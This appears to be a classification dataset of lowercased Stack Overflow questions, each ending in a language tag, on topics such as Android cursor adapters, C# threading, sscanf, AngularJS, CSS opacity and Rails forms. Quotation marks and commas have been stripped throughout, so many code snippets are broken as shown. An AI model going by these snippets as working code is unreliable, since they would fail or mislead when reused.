how do i display the contact list using cursor adapter in android   can any one help me how do i display the contactlist using cursor adapter.    here is my code:   <pre><code>public class mainactivity extends appcompatactivity { listview mylistview;  cursor mycursor;  string[] proj; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      dbutil dbutil=new dbutil(getapplicationcontext());      dbutil.open();      dbutil.insertrandomnames();      mycursor=dbutil.fetchalldata(); //getting my ordered cursor     mylistview=(listview)findviewbyid(r.id.list);      mylistview.setfastscrollenabled(true); //must be enabled     mylistview.setadapter(             new mycursoradapter(                      getapplicationcontext()                       android.r.layout.simple_list_item_1                       mycursor                       new string[]{dbutil.key_name} //from                      new int[]{android.r.id.text1}) //to     );      dbutil.close();  }  class mycursoradapter extends simplecursoradapter implements sectionindexer{     alphabetindexer alphaindexer;      public mycursoradapter(context context  int layout  cursor c                              string[] from  int[] to) {         super(context  layout  c  from  to);         alphaindexer=new alphabetindexer(c  mycursor.getcolumnindex(dbutil.key_name)    abcdefghijklmnopqrstuvwxyz ); // you have just to instanciate the indexer class like this  //cursor index of the sorted colum a string representing the alphabeth (pay attention on the blank char at the beginning of the sequence)     }      @override      public int getpositionforsection(int section) {          return alphaindexer.getpositionforsection(section); //use the indexer      }    @override     public int getsectionforposition(int position) {          return alphaindexer.getsectionforposition(position); //use the indexer      }    @override      public object[] getsections() {          return alphaindexer.getsections(); //use the indexer      } }  } </code></pre>,android
set something on gui form and thread sleep  i have a gui window form. i want to set image to picturebox and next sleep 3 seconds.   <pre><code>   picturebox.image = image;    thread.sleep( 3000 ); </code></pre>   but if i do it like my code above  my form try to set image  next go to sleep for 3 seconds  and just after that my form draws itself. so my picture show after this 3 seconds. how can i set image  show it and just after that  go to sleep      <h1>edit 1</h1>   exactly i want to do something like that:     i have two thread  ui and gui. ui reads from net socket and call right method from gui. and can be script like that:    <ul> <li>ui call on gui: set image </li> <li>ui call on gui: do something (then gui must clear image) </li> </ul>   but i want to have sure  that i will be able to see this image. so after gui set image  i call this thread for 3 seconds. so  how can i do it      example: (function from gui)   <pre><code>public void f1() {      methodinvoker method = () =&gt; {             picturebox.image = image;             picturebox.update();            // do something more      };       if ( invokerequired ) {            invoke( method );      } else {            method();      }   }  public void f2() {      methodinvoker method = () =&gt; {             picturebox.image = null;             picturebox.update();            // do something more      };       if ( invokerequired ) {            invoke( method );      } else {            method();      }   } </code></pre>   and other function f3...fn   <pre><code> public void f3() {      methodinvoker method = () =&gt; {            // do something       };       if ( invokerequired ) {            invoke( method );      } else {            method();      }   } </code></pre>   and  i my ui thread call function f1 and after it f2  i want to be sure that my user will be able to see this picture. but if my ui thread call function f1 and some between f3..fn call it normally.   <h1>edit 2</h1>   no i make it that: i define function in gui form (which is called by ui ):   <pre><code>  public void f1() {          methodinvoker method = () =&gt; {                 picturebox.image = image;                 picturebox.update();          };           methodinvoker method2 = () =&gt; {                 // something          }          if ( invokerequired ) {                 invoke( method );                 thread.sleep( 3000 );  // sleep ui thread                 invoke( method2 );         } else {                 method();                 method2();         }   } </code></pre>   it works  but it isn t the best solution. if will be script like this:   <pre><code>- ui call f1 - ui call f3 </code></pre>   ui will be sleep for 3 seconds and i don t expect it.    what is the best solution for my problem,c#
scanf delimiter and empty string  i m having a problem reading in values using sscanf() with delimiters.   <pre><code>sscanf(line   %15[^:]:%20[^:]:%d:%d:%50[^:]:%25[^:]:%25[^\n]          string1  string2  &amp;value1  &amp;value2  string3  string4  string5); </code></pre>   there s only a problem when line is something like:   <pre><code>abc:defg:1:2::hijk:no </code></pre>   when i print out the strings/values  everything is normal up until  string 3 . it outputs some weird character  then  string4  outputs an empty space and string5 outputs a similar weird character.    anybody have any idea how i can scan in the right values     edit: i meant abc:defg:1:2::hijk:no  not abc:defg:1:2::hijk:lm:no,c
how to div hide and show by single click using angularjs  i have two <code>div</code>s. i need to show one at a time.   <pre><code>&lt;div ng-show= viewdiv &gt; &lt;/div&gt; &lt;div ng-show= adddiv &gt; &lt;/div&gt;  &lt;a style=   href= #  ng-click= viewdiv=true  &gt;view&lt;/a&gt; </code></pre>   how to set <code>adddiv = false</code>  by this same <code>ng-click</code>.    <code>ng-click= viewdiv=true adddiv=false </code>    is not working.,angularjs
how can i check what the coordinates of a specific object on my map is   so i m trying to make a battleship game. to start off i just want to be able to place ships at specific locations  they don t need to be longer then 1 space yet. but i m having trouble understanding how to check what the location of an object in my ship array is.     what i want to do is be able to put in a location  for example 3 3 and check to see if there is a ship there. of course there is more stuff that i will add after like bigger ships  playing against the pc who can place the ships at random locations preferably. but for now it s just this thing i can t seem to figure out.    i m pretty much new to programming so if you see anything questionable about this script feel free to point it out.     my main class where i initialize the ship array and the board.   <pre><code>static void main()     {         board board = new board(10  10);          try         {              ship[] ships =             {                 new ship(new boardlocation(1  3  board))                  new ship(new boardlocation(3  5  board))                  new ship(new boardlocation(5  7  board))              };              console.writeline( enter the coordinate:  );             double cr1 = convert.todouble(console.readline());              if (cr1 == ships.contains&lt;&gt;)             {              } </code></pre>   my board class:    <pre><code>namespace battleship { class board {     public readonly int width;     public readonly int height;      public board(int width  int height)     {         width = width;         height = height;      }      public bool onboard(point point)     {         return point.x &gt;= 0 &amp;&amp; point.x &lt; width &amp;&amp;                point.y &gt;= 0 &amp;&amp; point.y &lt; height;     }      } } } </code></pre>   my boardlocation class:    <pre><code>namespace battleship { class boardlocation : point {     public boardlocation(int x  int y  board board) : base(x  y)     {         if (!board.onboard(this))         {             throw new outofboundsexception(x +     + y +   is outside the              boundaries of the map. );         }      } } } </code></pre>   my ship class:   <pre><code>namespace battleship { class ship {     public readonly int shiphealth = 1;     public readonly double shiplocation;      public boardlocation _location;      public ship(boardlocation location)     {         _location = location;     }        } } </code></pre>,c#
is this an issue of angular s scope  <h2>footer.js if defined as the main app.</h2>  <pre><code>(function () { var app = angular.module( footer   []);  app.directive( sitefooter   function () {     return {         restrict:  e           templateurl:  site-footer.html       };   }); })(); </code></pre>  <h2>footer.js if added as a dependency.</h2>  <pre><code>(function () { var app = angular.module( footer   []);  app.directive( sitefooter   function () {     return {         restrict:  e           templateurl:  hexdra/partials/site-footer.html       };   }); })(); </code></pre>   i have an app that controls just the footer of my site  i then inject that footer app into the main app that defines my page.     i use the <code>templateurl</code> to load a template for the footer.    for the first case i m confused because the <code>footer</code>app is not in the same directory as the template it s linked to  and it s still able to find it.     <hr>   for the second case when the template has to be defined as  <code>hexdra/partials/site-footer.html </code>  why does it require me to go to the root       if my files are structured as    <pre><code> - hexdra  - -&gt; app - contains the angular.js files  - -&gt; assets   - -&gt; partials - contains my site-footer.html file.   - html-files </code></pre>   wouldn t i need to use <code> partials/site-footer.html </code>,angularjs
when to release a variable in objective-c  i have the following line in my view controller:   <pre><code>-(void) retrieveaccounts {     accounts = [[nsmutablearray alloc] init];     selaccounts=[[nsmutablearray alloc] init];     nsstring *url=[nsstring stringwithformat:@ https://host/accts ];     processor=[[asynconnectionprocessorcontroller alloc] init];     processor.delegate=self;     processor.server=self.server;     [processor createrequestfromurl:url]; } </code></pre>   the asynconnectionprocessorcontroller class creates an nsurlconnection to load data from a url in asynchronous mode. it creates a connection in the createrequestfromurl method. later when page is received comepltely in connectiondidfinishloading i invoke a processdata method on the delegate i set in above snippet. processdata updates the tableview and so on.    my question is when i can release the processor variable created above. should i be calling autorelease. will the control come to next line of code if i put [processor release] after this line above: [processor createrequestfromurl:url]    note: i have a similar question before but this one has more specifics so adding it as a separate question here.,objective-c
submenu with opacity  my submenu text is with opacity... i need text black but he have opacity with cames from menu i thing.    submenu code    <pre><code>.fancynav{ /* affects the ul element */ overflow: hidden; display: inline-block; z-index:999; } .fancynav li{ /* specifying a fallback color and we define css3 gradients for the major browsers: */   background: #ccc;  -ms-filter: progid:dximagetransform.microsoft.alpha(opacity=50) ;    filter: alpha(opacity=10);    opacity:.7;  border-right: 1px solid rgba(0  0  0  1);  /* adding a 1px inset highlight for a more polished efect: */    position:relative;  float: left; list-style: none; }  .fancynav li:after{     content: . ; text-indent:-9999px; overflow:hidden; position:absolute; width:100%; height:100%; top:0; left:0;  opacity:0; z-index:1; /* gradients! */  background-image:-webkit-gradient(linear  left top  right top  from(rgba(168 168 168 0.5)) color-stop(0.5 rgba(168 168 168 0))  to(rgba(168 168 168 0.5)));  background-image:-moz-linear-gradient(left  rgba(255 255 255 1)  rgba(255 255 255 1) 100%  rgba(255 255 255 1));  background-image:-o-linear-gradient(left  rgba(168 168 168 0.5)  rgba(168 168 168 0) 50%  rgba(168 168 168 0.5)); background-image:-ms-linear-gradient(left  rgba(168 168 168 0.5)  rgba(168 168 168 0) 50%  rgba(168 168 168 0.5)); background-image:linear-gradient(left  rgba(168 168 168 0.5)  rgba(168 168 168 0) 50%  rgba(168 168 168 0.5));  /* creating borders with box-shadow. useful  as they don t affect the size of the element. */  box-shadow:-1px 0 0 #a3a3a3 -2px 0 0 #fff 1px 0 0 #a3a3a3 2px 0 0 #fff; -moz-box-shadow:-1px 0 0 #a3a3a3 -2px 0 0 #fff 1px 0 0 #a3a3a3 2px 0 0 #fff; -webkit-box-shadow:-1px 0 0 #a3a3a3 -2px 0 0 #fff 1px 0 0 #a3a3a3 2px 0 0 #fff;  /* this will create a smooth transition for the opacity property */  -moz-transition:0.25s all; -webkit-transition:0.25s all; -o-transition:0.25s all; transition:0.25s all;}  /* treating the first li and li:after elements separately */    .fancynav li:first-child:after   .fancynav li.selected:first-child:after{ box-shadow:1px 0 0 #a3a3a3 2px 0 0 #fff; -moz-box-shadow:1px 0 0 #a3a3a3 2px 0 0 #fff; -webkit-box-shadow:1px 0 0 #a3a3a3 2px 0 0 #fff;  -moz-transition:0.25s all; -webkit-transition:0.25s all; -o-transition:0.25s all; transition:0.25s all;}   /* treating the first li and li:after elements separately */    .fancynav li:first-child:after  .fancynav li.selected:first-child:after{ box-shadow:1px 0 0 #a3a3a3 2px 0 0 #fff; -moz-box-shadow:1px 0 0 #a3a3a3 2px 0 0 #fff; -webkit-box-shadow:1px 0 0 #a3a3a3 2px 0 0 #fff;  }  .fancynav li:last-child{ }  /* treating the last li and li:after elements separately */  .fancynav li:last-child:after  .fancynav li.selected:last-child:after{ box-shadow:-1px 0 0 #a3a3a3 -2px 0 0 #fff; -moz-box-shadow:-1px 0 0 #a3a3a3 -2px 0 0 #fff; -webkit-box-shadow:-1px 0 0 #a3a3a3 -2px 0 0 #fff; } .fancynav li:hover:after  .fancynav li.selected:after  .fancynav li:target:after{ /* this property triggers the css3 transition */ opacity:1;  }  .fancynav:hover li.selected:after  .fancynav:hover li:target:after{ /* hides the targeted li when we are hovering on the ul */ opacity:0; } .fancynav li.selected:hover:after  .fancynav li:target:hover:after{ opacity:1 !important;  } /* styling the anchor elements */ .menudiv{ position:fixed; z-index:999; width:951px; margin-left:-476px; left:50%; } .menlog{ padding-left:15px; padding-right:15px;  } .menlog2{ padding:12px 15px 15px;  } .corrente{    background-color:white; padding:12px 15px 15px; } .corrente3{ } .fancynav li a{ color: #000000; display: inline-block; position: relative; z-index:2; text-decoration:none !important; white-space:nowrap;  } .fancynav a.homeicon{ background:url( ../img/home.png ) no-repeat center center; display: block; overflow: hidden; text-indent: -9999px; }   nav{ display: block; text-align: center;  } a  a:visited { text-decoration:none; outline:none; color:#54a6de; } a:hover{ text-decoration:underline; } ////  ul ul li{ float:none !important; display: block;  } ul ul{ display:none; position:relative;    /* updated */ z-index:2;            /* updated */ background-color:#2f2f2f;  } ul li:hover ul{ display:block; border:0; position:absolute; background-color:#ffffff;   } #quemsomos ul li { border: none; width: 100%; text-align: left; } </code></pre>   how i ignore the opacity     my html code   <pre><code>&lt;nav&gt; &lt;ul class= fancynav &gt;     &lt;li id= quemsomos  class= menlog &gt;&lt;a href= index.php &gt;&lt;img src= imgs/logo.png   width= 37  height= 45  /&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li id= quemsomos &gt;&lt;a href= quemsomos.php web=1 &gt;&lt;font face= din  size= 4 &gt;quem somos&lt;/font&gt;&lt;/a&gt;         &lt;!--start of sub menu--&gt;         &lt;ul&gt;             &lt;li&gt;&lt;a href= # &gt;link the zone 1&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;link2&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;l for example&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;         &lt;!--end of sub menu--&gt; &lt;li&gt;&lt;a href= arquitectura.php web=10 &gt;&lt;font face= din  size= 4  color= #000000 &gt;arquitectura&lt;/font&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= desenhointeriores.php web=9 &gt;&lt;font face= din  size= 4 &gt;desenho de interiores&lt;/font&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;/li&gt;  &lt;/ul&gt;&lt;/li&gt;    &lt;/ul&gt; </code></pre>   i dont know how i change this... my menu have opacity but the text dont have... so i dont know why submenu text have...,css
how can i move an interface object programmatically on the mac   so i have some nsbuttons and nsimages (i assume they would be moved the same way) that i want to move. i want to move them to new coordinates on the window. i assume that i could figure out the coordinates i want to move them to on interface builder  and then move them programmatically.    additionally  how can i animate this movement  and control that animation s speed  style  etcetera  is there a built in function for that  or do i have to make image files and cycle through them     note: i primarily want to know how to change the coordinates of the object  the animation thing is secondary  but it would make me very happy if you could describe that as well.,objective-c
how do i do the following code (making urls clickable and images show) with jquery instead of dojo   i m rewriting an userscript and replacing the use of dojo with jquery  but then i came upon something  i got lost. :(    this is the script with dojo  it worked fine:   <pre><code>dojo.query( .body ).foreach(function(node  index  arr){       kmfa.check(node index); });  kmfa.check = function(node){    //check for links/images and replace some stuff    regex= /(https :\/\/([-\wäöü\.]+)+(:\d+) (\/([-=_\w\.\%\@\#\~;: \(\)\/\+]*(\ [^&lt;&gt;\s]+) ) ) )/gi;    node.innerhtml = node.innerhtml.replace( /&lt;a[^&gt;]+&gt;([^&lt;]+)&lt;\/a&gt;/gi   $1  );    node.innerhtml = node.innerhtml.replace( /&lt;wbr&gt;/g     );    if (node.innerhtml.indexof( .png ) != -1 || node.innerhtml.indexof( .gif ) != -1 ||  node.innerhtml.indexof( .jpg ) != -1 || node.innerhtml.indexof( .tif ) != -1 || node.innerhtml.indexof( .bmp ) != -1){        node.innerhtml = node.innerhtml.replace( regex   &lt;img src= $1  class= imglimit  &gt;&lt;/br&gt;&lt;a href= $1 &gt;$1&lt;/a&gt;  );        }else{        node.innerhtml = node.innerhtml.replace( regex   &lt;a href= $1  target= _blank &gt;$1&lt;/a&gt;  );     } } </code></pre>   now how do i get this to work with jquery     all i got so far is:   <pre><code>$( #forum ).each(function (ind){     $(this).text(kmsi.replaceurlwithhtmllinks($(this).text() ) )     });  kmsi.replaceurlwithhtmllinks = function(text) {    var exp = /(\b(https |ftp|file):\/\/[-a-z0-9+&amp;@#\/% =~_|!: .;]*[-a-z0-9+&amp;@#\/%=~_|])/ig;    return text.replace(exp  &lt;a href= $1 &gt;$1&lt;/a&gt; );  } </code></pre>   but that isn t working at all.    (i figure there will be comments like  why change to jquery when you have it working  . to answer those beforehand: i just wanna learn jquery!)    any help is welcome  thanks!,jquery
formatting output of counter  i have used counter to count the number of occurrence of the list items. i have trouble in displaying it nicely. for the below code    <pre><code>category = counter(category_list) print category </code></pre>   the following is the output    <pre><code>counter({ a : 8508   c : 345   w : 60}) </code></pre>   i have to display the above result as follows    <pre><code>a 8508 c 345 w 60 </code></pre>   i tried to iterate over the counter object but i m unsuccessful. is there a way to print the output of the counter operation nicely,python
best practice for creating inline anchor tags  so generally if i have an anchor list  do you prefix it so it wont get accidently styled by the css    <pre><code>&lt;ul class= inline-list &gt; &lt;li&gt;&lt;a href= #list1 &gt;list 1 &lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= #list2 &gt;list 2&lt;/a&gt;&lt;/li&gt;  &lt;/ul&gt;  &lt;h2 id= list1 &gt;list 1 heading&lt;/h2&gt; </code></pre>   if list1 is speciifed in my global css  it will get a styling.  any best practice for this,css
working of date in javascript  i recently learned that we can t access <code>inner function</code> directly. we need to make the object of the function to do that. however it looks different to me in <code>date</code> function since we can access inner functions like <code>date.now()</code>.<code>typeof date</code> returns <code> function </code> and not <code> object </code>.    what am i missing here,javascript
error lnk 2019 unresolved external symbol  i have read several related  post on stackoverflow but couldn t relate the solutions with the problem in my code. description of error is   <pre><code>1&gt;can.obj : error lnk2019: unresolved external symbol  public: __thiscall clogobjectcan::clogobjectcan(class cstring)  (  0clogobjectcan@@qae@vcstring@@@z) referenced in function  void __cdecl `dynamic initializer for  d_obj  (void)  (  __ed_obj@@yaxxz) </code></pre>   why compiler throwing this error    i am not good in oop  trying to modify some existing mode.    <strong>can.cpp</strong>     <pre><code>#include  baselogobject.h   #include  logobjectcan.h   cstring s2(  version  ); clogobjectcan *d_obj = new clogobjectcan(s2); cbaselogobject *obj = d_obj;  static int config_print_error(int error  int channel) {     cstring header=   ;     obj-&gt;vlog_embaserror(header   embas ); } </code></pre>   <strong>baselogobject.h</strong>     <pre><code>class cbaselogobject { public:     cbaselogobject(cstring omversion);      ~cbaselogobject(); virtual void vlog_embaserror(cstring&amp; omheader  char* mheader); }; </code></pre>   <strong>baselogobject.cpp</strong>     <pre><code>#include  baselogobject.h  cbaselogobject::cbaselogobject(cstring omversion):m_omversion(omversion) {     vresetvalues(); }  void cbaselogobject:: vlog_embaserror(cstring&amp; omheader  char* mheader) {     omheader =  ***embas  ;  } </code></pre>   <strong>logobjectcan.h</strong>     <pre><code>#include  baselogobject.h  class logobjectcan: public cbaselogobject { public:  void vlog_embaserror(cstring&amp; omheader  char* mheader); public:     clogobjectcan(cstring omversion);         ~clogobjectcan();  } </code></pre>   <strong>logobjectcan.cpp</strong>     <pre><code>#include  logobjectcan.h       clogobjectcan::clogobjectcan(cstring omversion):cbaselogobject(omversion) {         // initialise the filtering block         m_sfilterapplied.vclear();         m_pascontrollerdetails = null;         m_nnumchannels = 0;     }     void clogobjectcan::vlog_embaserror(cstring&amp; omheader  char* mheader) {         if(strcmp(mheader   embas )== 0) {             cbaselogobject::vlog_embaserror(omheader   driver );             omheader += can_embas;             omheader += l \n ;         }     } </code></pre>,c++
obscuring a links url  please pardon my ignorance. i m looking for a point in the right direction.    i have a page with some (pdf)download links. if i click the link a pdf will open in a new page. i can see the folder the pdf resides on the server. if i guess at other filenames in the same folder  maybe i can get lucky. some of the files are private so i don t want the user to get a hint from the url. how can i obscure this infomation  we are running .net 2 on the backend. could i call a method and get the file to open     any help appreciated. i m not sure what to search on to get me started.    thanks    we have  a .net 2 backend.,.net
java how to cast a whole list  how to cast a complete list without iterating through it in java. i have this function:   <pre><code>private list&lt;object&gt; getitems (list&lt;object&gt; list  pagination pagination) {          if (list.size() &gt; pagination.getitemsxpage()) {              int init = (pagination.getcurrentpage()-1)* pagination.getitemsxpage();             int end =  init +  pagination.getitemsxpage();              if (end &gt; list.size()) {                 end = list.size();             }              return list.sublist(init  end);          } else {              return list;                                 }             } </code></pre>   i want to do this but it is not possible     <pre><code>list&lt;applicationsearchitem&gt; applicationsearchitem = (list) getitems (list  searchcriteria.getcategoryproductspagination());  </code></pre>,java
tag library descriptor file for angularjs  how can we add a tag library descriptor file(<code>.tld</code> file) in <code>angularjs</code>(in html page)    i have tried using <code>taglib</code> tag   <pre><code>&lt;%@ taglib prefix= his  uri= /web-inf/tld/xyz.tld  prefix= sample %&gt; </code></pre>   but in html page it s giving a warning as    multiple annotations found at this line:       <pre><code>- invalid text string (  &lt;%@ taglib prefix= his  uri= /web-inf/tld/xyz.tld  prefix= sample %&gt; } </code></pre>,angularjs
"console.log outputs false result [weird behaviour]  i have a string where i use <code>split(  )</code> to convert into an array. i just want to delete the last item of an array using <code>splice()</code>.    however  i get this weird result when i output the array after deleting the last item. it outputs fine when i don t use <code>console.log() in</code> chrome console. why is this happening     (try this code in the console. it outputs fine)   <pre><code>let strings =  aa11111 ; let splits = strings.split(  ); splits.splice(0  splits.length - 1); </code></pre>   (this gives me the false result. [outputs the last item of the array.])    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>let strings =  aa11111 ;
 let splits = strings.split(  );
 splits.splice(0  splits.length - 1);
 console.log(splits);</code></pre>
 </div>
 </div>",javascript
get the tail of a string in c  i have a string  like  <code>100110000111001100010001100011001100100</code>  .     if i need to get the tail of this string  meaning everything but the first element   do i have to copy each char to the new array  starting from the second element (o(n))      or is there a faster way to do this  like somehow magically shift pointers 1 place to the right or a built in function,c
if within for within while loop multiple condition and timer python  i want to read (repeatedly) each line of the output command if condition match print line if not keep repeat the loop till timeout and print the current output or a message    it keeps looping in both cases print line or timeup    i want to just print the line once or timeup once if timeout and within the max_time_allowed keep trying the previous command because it may come up after some seconds   <pre><code>#import conncethandler feature from netmiko from netmiko import connecthandler import time import re import sys import subprocess import os #devices details  iosv_l2_s1 = {      device_type :  cisco_ios        ip :  1.1.1.1        username :  sdf        password :  ss   }  #ssh to the below devices net_connect = connecthandler(**iosv_l2_s1) #apply commands output = net_connect.send_command( show interface ) max_time_allowed = 15 start = time.time()  while true:     for line in output.split(os.linesep):         if re.search(( ( =.*full|2way)( =.*192.168.0.4) ) line   re.i):             print line             start = time.time()             time.sleep(2)         elif (time.time() - start) &gt; max_time_allowed:             print ( timeup )  net_connect.disconnect() </code></pre>,python
different names in input type radio via php  i have a code with foreach which reading themes from database. i want them to be writeable to another database (classic $_post[  ]; method) my code for foreach looks like    <pre><code>&lt;form action=   method= post &gt;    &lt; php foreach ($articles as $article) {  &gt;      &lt;input type= radio  name= &lt; php $article[ tema_id ];  &gt; &gt;         &lt; php echo $article[ nazov_temy ];  &gt; &lt;small&gt; - &lt; php echo $article[ obsah_temy ];  &gt;&lt;/small&gt;&lt;br /&gt;        &lt; php }  &gt;      &lt;input type= submit  name= odoslat  /&gt; &lt;/form&gt; </code></pre>   and code with post should be something like (i haven t wrote code for that yet)   <pre><code>if (isset($_post[ title ]  $_post[ content ])){     $title = $_post[ title ];     $content = nl2br($_post[ content ]);      if (empty($title) or empty($content)) {         $error =  all field are required ;     } else {         $query = $pdo-&gt;prepare( insert into temy (nazov_temy  obsah_temy  tema_timestamp) values (       ) );          $query-&gt;bindvalue(1  $title);         $query-&gt;bindvalue(2  $content);         $query-&gt;bindvalue(3  time());          $query-&gt;execute(); </code></pre>,php
rubber gem ami error  in the rubber.yml config file. if i set the:   <pre><code>cloud_providers:   aws:     region: eu-west-1 </code></pre>   the cap rubber:create_staging will fail  ami id    does not exists. why  and how to get around it     if i set it to:   <pre><code>cloud_providers:   aws:     region: us-east-1 </code></pre>   things works just fine.,ruby-on-rails
what is the use of this syntax: <!---->   i ve been working with the design ui of our website and looking for some templates available in the web.     then i encountered with this syntax <code>&lt;!----&gt;</code> and i m not familiar with it.     can you please tell me what is it and what is it used for      thank you.,html
uiview cameraoverlayview in augmented reality starts in portrait mode  i m doing a bit of ar work here and one of the biggest problem right now is one of my uiview will not respond to any frame settings i make to it.    the code is very similar to this. i ve made a few major changes to incorporate into my project:    nurse.site11.com/jaredcrawford-iwvu-632a9a0/libraries/arkit/augmentedrealitycontroller.m     displayview  is used as a custom uiview that is passed to uiimagepickercontroller s setcameraoverlayview: method.    now in the initwithviewcontroller method of that augmentedrealitycontroller.m file  i have tried setting the displayview = [[uiview alloc] initwithframe:cgrectmakeframe(0  0  480  320)];    the problem is  even if i set it to displayview = [[uiview alloc] initwithframe:cgrectmakeframe(0  0  100  100)]; the view still remains full screen 320 x 480 but only for the first time the augmented reality view appeared. subsequent times that the ar view appears  the code works.    i am not sure what the heck is going on and why setting the frame of the displayview not affecting the view at all for the first time it is shown.    i m hoping someone else has experienced this problem before and possibly solved it.    this is my code:   <pre><code>- (id)initwithviewcontroller:(uiviewcontroller *)vc {     coordinates     = [[nsmutablearray alloc] init];     coordinateviews = [[nsmutablearray alloc] init];     latestheading   = -1.0f;     debugview       = nil;      [self setrootviewcontroller: vc];      [self setdebugmode:no];     [self setmaximumscaledistance: 0.0];     [self setminimumscalefactor: 1.0];     [self setscaleviewsbasedondistance: yes];     [self setrotateviewsbasedonperspective: yes];     [self setmaximumrotationangle: m_pi / 6.0];      //cgrect screenrect = [[uiscreen mainscreen] bounds];      nslog(@ inside initwithviewcontroller );          uideviceorientation orientation = [[uidevice currentdevice] orientation];      if(orientation == uideviceorientationportrait)     {         nslog(@ orientation portrait );     }     else if(orientation == uideviceorientationlandscaperight)     {         nslog(@ orientation right );         [[uiapplication sharedapplication] setstatusbarorientation:uiinterfaceorientationlandscapeleft];         [self setcurrentorientation:uideviceorientationlandscaperight];     }     else if(orientation == uideviceorientationportraitupsidedown)     {         nslog(@ orientation upsidedown );                  }     else if(orientation == uideviceorientationlandscapeleft){         nslog(@ orientation left );         [[uiapplication sharedapplication] setstatusbarorientation:uiinterfaceorientationlandscaperight];         [self setcurrentorientation:uideviceorientationlandscapeleft];     }      //[[uiapplication sharedapplication] setstatusbarorientation:uiinterfaceorientationlandscapeleft];       //nslog(@ in ar view  device orientation = %@   [[uidevice currentdevice] orientation]);      //[self setdisplayview: [[uiview alloc] initwithframe: screenrect]];     //[self setcurrentorientation:uideviceorientationlandscaperight];      displayview = [[uiview alloc] initwithframe:cgrectmake(-80  80  480  320)];       [displayview setbackgroundcolor:[uicolor colorwithred:0.0 green:0.0 blue:1.0 alpha:0.5]];      nslog(@ displayview x = %f   displayview.frame.origin.x);     nslog(@ displayview y = %f   displayview.frame.origin.y);     nslog(@ displayview width = %f   displayview.frame.size.width);     nslog(@ displayview height = %f   displayview.frame.size.height);      [[nsnotificationcenter defaultcenter] addobserver:self selector:@selector(deviceorientationdidchange:) name: uideviceorientationdidchangenotification object:nil];     [[uidevice currentdevice] begingeneratingdeviceorientationnotifications];      [[self rootviewcontroller] setview:displayview];     //[[self rootviewcontroller] setview:[[uiview alloc] initwithframe:cgrectmake(0  0  480  320)]];      //[[rootviewcontroller view] setbackgroundcolor:[uicolor bluecolor]];      cllocation *newcenter = [[cllocation alloc] initwithlatitude:37.41711 longitude:-122.02528];     [self setcenterlocation: newcenter];     [newcenter release];      [self startlistening];      [self deviceorientationupdate];      startlocation = nil;     i = 0;     objimageview = [[uiimageview alloc] initwithframe:cgrectmake(0 0 320 480)];     //[objimageview setbackgroundcolor:[uicolor bluecolor]];      blnhasrotated = no;      return self; } </code></pre>   the full code can be seen here: pastebin.com/g0exjapq,iphone
polymorphic nested form  i m having issue creating a nested polymorphic form. i am following the solution from this problem:    <a href= https://stackoverflow.com/questions/6997141/rails-has-many-through-with-polymorphic-association-will-this-work >rails: has_many through with polymorphic association - will this work </a>    the description was: a person can have many events and each event can have one polymorphic eventable record    here are the relevant models:    <pre><code>class event &lt; activerecord::base   belongs_to :person   belongs_to :eventable  :polymorphic =&gt; true end  class meal &lt; activerecord::base   has_one :event  :as =&gt; eventable end  class workout &lt; activerecord::base   has_one :event  :as =&gt; eventable end  class person &lt; activerecord::base   has_many :events   has_many :meals  :through =&gt; :events  :source =&gt; :eventable      :source_type =&gt;  meal    has_many :workouts  :through =&gt; :events  :source =&gt; :eventable      :source_type =&gt;  workout  end </code></pre>   my controller looks like this:   <pre><code>def    @person = person.new   @person.meals.new   @person.workouts.new new </code></pre>   my view looks like this:   <pre><code>&lt;%=  form_for @person do |person| %&gt;  &lt;%= person.fields_for :meals  @person.meals.build do |meals| %&gt;    &lt;%= meals.text_field :food %&gt;   &lt;% end %&gt; &lt;% end %&gt; </code></pre>   the error i am currently getting is:    <strong>unknown attribute: person_id</strong>    i would think that the polymorphic association is hindering the creation of the object because meals can t be create until person has been created  did i set up the form correctly  thanks!,ruby-on-rails
incorrect height of div returned by js functions. why   i try to get size of main div on page  to make iframe change its height to content  but <code>document.getelementbyid( divid ).offsetheight</code> (also try <code>innerheight</code>) return wrong value. it always returns 247  but in fact page looks like it cut on 75%. i have an idea that page didn t load fully  so i put resize code in the footer of the page  but it still return 247.   <pre><code>$(document).ready(function() {      console.log(document.getelementbyid( resizediv ).offsetheight); }); </code></pre>   any suggestions,javascript
how can 3rd party app  a  let novice ios device users open an mp3 file downloaded by 3rd party app  b    my goal is to make an ios app that includes the ability for the user to open mp3 files that were downloaded (by the same user) within a different 3rd party app  similar to the functionality of a ringtone maker that relies on opening files that the user has already downloaded. if i understand correctly  this is easy to do if the  other  app is apple s native ipod music player app  via the  ipod library access  interface. hopefully i have at least that part right.    but what if the  other  app is a non-apple 3rd party app  through which the user downloaded the mp3 file that we now want that user to be able to open within our app  from a high level (i m not asking for code)  how is this done  and has your analysis changed based on what was announced for ios 7,ios
isn t there a better way of typing this   so i m trying to basically do an addrange of a list where i need to call a constructor  and what i m doing just seems unintuitive.    this is what i m doing:   <pre><code>list&lt;affix&gt; finalprefixes = new list&lt;affix&gt;()               finalsuffixes = new list&lt;affix&gt;(); foreach (affixgenerator tempgenerator in possibleprefixes)     finalprefixes.add(new affix(tempgenerator));  foreach (affixgenerator tempgenerator in possiblesuffixes)     finalsuffixes.add(new affix(tempgenerator)); </code></pre>   obviously a function would make this simpler  but i was wondering if there was another way to simplify it (lambda maybe).,c#
